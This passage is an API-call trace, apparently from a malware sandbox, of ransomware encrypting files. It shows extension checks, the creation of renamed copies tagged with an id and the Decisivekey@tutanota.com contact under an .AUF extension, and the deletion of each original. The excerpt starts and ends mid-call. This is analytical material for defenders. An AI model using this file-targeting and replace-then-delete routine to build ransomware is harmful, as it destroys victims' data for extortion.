(lpString1=".doc", lpString2=".WMF") returned -1 [0221.043] lstrlenW (lpString=".docx") returned 5 [0221.043] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.043] lstrlenW (lpString=".pdf") returned 4 [0221.043] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.043] lstrlenW (lpString=".xls") returned 4 [0221.043] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.043] lstrlenW (lpString=".xlsx") returned 5 [0221.044] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.044] lstrlenW (lpString=".ppt") returned 4 [0221.044] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0221.044] lstrlenW (lpString=".zip") returned 4 [0221.044] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.044] lstrlenW (lpString=".rar") returned 4 [0221.044] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.044] lstrlenW (lpString=".bz2") returned 4 [0221.044] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.044] lstrlenW (lpString=".7z") returned 3 [0221.044] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0221.044] lstrlenW (lpString=".dbf") returned 4 [0221.044] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0221.044] lstrlenW (lpString=".1cd") returned 4 [0221.044] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0221.044] lstrlenW (lpString=".jpg") returned 4 [0221.044] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.044] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=14194) returned 1 [0221.044] CloseHandle (hObject=0x218) returned 1 [0221.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf")) returned 0x20 [0221.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0221.045] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.045] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0221.045] GetLastError () returned 0x0 [0221.045] ReadFile (in: hFile=0x218, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x3772, lpOverlapped=0x0) returned 1 [0221.104] WriteFile (in: hFile=0x220, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x3780, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x3780, lpOverlapped=0x0) returned 1 [0221.105] ReadFile (in: hFile=0x218, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.105] WriteFile (in: hFile=0x220, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.105] SetEndOfFile (hFile=0x220) returned 1 [0221.105] CloseHandle (hObject=0x220) returned 1 [0221.105] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.105] SetEndOfFile (hFile=0x218) returned 1 [0221.106] CloseHandle (hObject=0x218) returned 1 [0221.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.106] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf")) returned 1 [0221.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0221.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0221.106] lstrlenW (lpString=".doc") returned 4 [0221.106] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.106] lstrlenW (lpString=".docx") returned 5 [0221.106] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.106] lstrlenW (lpString=".pdf") returned 4 [0221.106] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.106] lstrlenW (lpString=".xls") returned 4 [0221.106] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.107] lstrlenW (lpString=".xlsx") returned 5 [0221.107] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.107] lstrlenW (lpString=".ppt") returned 4 [0221.107] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0221.107] lstrlenW (lpString=".zip") returned 4 [0221.107] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.107] lstrlenW (lpString=".rar") returned 4 [0221.107] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.107] lstrlenW (lpString=".bz2") returned 4 [0221.107] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.107] lstrlenW (lpString=".7z") returned 3 [0221.107] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0221.107] lstrlenW (lpString=".dbf") returned 4 [0221.107] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0221.107] lstrlenW (lpString=".1cd") returned 4 [0221.107] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0221.107] lstrlenW (lpString=".jpg") returned 4 [0221.107] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.241] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.241] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0221.241] GetLastError () returned 0x0 [0221.241] ReadFile (in: hFile=0x180, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x4712, lpOverlapped=0x0) returned 1 [0221.242] WriteFile (in: hFile=0x218, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x4720, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x4720, lpOverlapped=0x0) returned 1 [0221.243] ReadFile (in: hFile=0x180, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.244] WriteFile (in: hFile=0x218, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.244] SetEndOfFile (hFile=0x218) returned 1 [0221.244] CloseHandle (hObject=0x218) returned 1 [0221.244] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.244] SetEndOfFile (hFile=0x180) returned 1 [0221.244] CloseHandle (hObject=0x180) returned 1 [0221.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.245] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf")) returned 1 [0221.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0221.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0221.245] lstrlenW (lpString=".doc") returned 4 [0221.245] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.245] lstrlenW (lpString=".docx") returned 5 [0221.245] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.245] lstrlenW (lpString=".pdf") returned 4 [0221.245] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.245] lstrlenW (lpString=".xls") returned 4 [0221.245] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.245] lstrlenW (lpString=".xlsx") returned 5 [0221.245] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.245] lstrlenW (lpString=".ppt") returned 4 [0221.245] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0221.245] lstrlenW (lpString=".zip") returned 4 [0221.245] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.245] lstrlenW (lpString=".rar") returned 4 [0221.245] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.245] lstrlenW (lpString=".bz2") returned 4 [0221.245] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.245] lstrlenW (lpString=".7z") returned 3 [0221.245] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0221.245] lstrlenW (lpString=".dbf") returned 4 [0221.245] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0221.245] lstrlenW (lpString=".1cd") returned 4 [0221.245] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0221.245] lstrlenW (lpString=".jpg") returned 4 [0221.246] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.246] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=10816) returned 1 [0221.246] CloseHandle (hObject=0x180) returned 1 [0221.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf")) returned 0x20 [0221.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0221.246] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.246] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0221.247] GetLastError () returned 0x0 [0221.247] ReadFile (in: hFile=0x180, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x2a40, lpOverlapped=0x0) returned 1 [0221.288] WriteFile (in: hFile=0x218, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x2a50, lpOverlapped=0x0) returned 1 [0221.292] ReadFile (in: hFile=0x180, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.292] WriteFile (in: hFile=0x218, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.292] SetEndOfFile (hFile=0x218) returned 1 [0221.292] CloseHandle (hObject=0x218) returned 1 [0221.293] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.293] SetEndOfFile (hFile=0x180) returned 1 [0221.293] CloseHandle (hObject=0x180) returned 1 [0221.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.293] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf")) returned 1 [0221.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0221.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0221.294] lstrlenW (lpString=".doc") returned 4 [0221.294] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.294] lstrlenW (lpString=".docx") returned 5 [0221.294] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.294] lstrlenW (lpString=".pdf") returned 4 [0221.294] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.294] lstrlenW (lpString=".xls") returned 4 [0221.294] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.294] lstrlenW (lpString=".xlsx") returned 5 [0221.294] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.294] lstrlenW (lpString=".ppt") returned 4 [0221.294] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0221.294] lstrlenW (lpString=".zip") returned 4 [0221.294] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.294] lstrlenW (lpString=".rar") returned 4 [0221.294] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.294] lstrlenW (lpString=".bz2") returned 4 [0221.294] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.294] lstrlenW (lpString=".7z") returned 3 [0221.294] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0221.294] lstrlenW (lpString=".dbf") returned 4 [0221.294] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0221.294] lstrlenW (lpString=".1cd") returned 4 [0221.294] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0221.294] lstrlenW (lpString=".jpg") returned 4 [0221.294] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.295] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=4796) returned 1 [0221.295] CloseHandle (hObject=0x180) returned 1 [0221.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf")) returned 0x20 [0221.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0221.295] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.295] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0221.296] GetLastError () returned 0x0 [0221.296] ReadFile (in: hFile=0x180, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x12bc, lpOverlapped=0x0) returned 1 [0221.311] WriteFile (in: hFile=0x218, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x12c0, lpOverlapped=0x0) returned 1 [0221.312] ReadFile (in: hFile=0x180, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.312] WriteFile (in: hFile=0x218, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.312] SetEndOfFile (hFile=0x218) returned 1 [0221.315] CloseHandle (hObject=0x218) returned 1 [0221.315] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.315] SetEndOfFile (hFile=0x180) returned 1 [0221.316] CloseHandle (hObject=0x180) returned 1 [0221.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.316] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf")) returned 1 [0221.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0221.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0221.316] lstrlenW (lpString=".doc") returned 4 [0221.316] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.316] lstrlenW (lpString=".docx") returned 5 [0221.316] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.316] lstrlenW (lpString=".pdf") returned 4 [0221.316] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.316] lstrlenW (lpString=".xls") returned 4 [0221.316] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.316] lstrlenW (lpString=".xlsx") returned 5 [0221.316] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.316] lstrlenW (lpString=".ppt") returned 4 [0221.316] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0221.316] lstrlenW (lpString=".zip") returned 4 [0221.316] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.316] lstrlenW (lpString=".rar") returned 4 [0221.316] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.316] lstrlenW (lpString=".bz2") returned 4 [0221.316] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.316] lstrlenW (lpString=".7z") returned 3 [0221.316] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0221.316] lstrlenW (lpString=".dbf") returned 4 [0221.316] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0221.317] lstrlenW (lpString=".1cd") returned 4 [0221.317] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0221.317] lstrlenW (lpString=".jpg") returned 4 [0221.317] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.317] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=5098) returned 1 [0221.317] CloseHandle (hObject=0x180) returned 1 [0221.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf")) returned 0x20 [0221.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0221.320] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.321] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0221.321] GetLastError () returned 0x0 [0221.321] ReadFile (in: hFile=0x180, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, 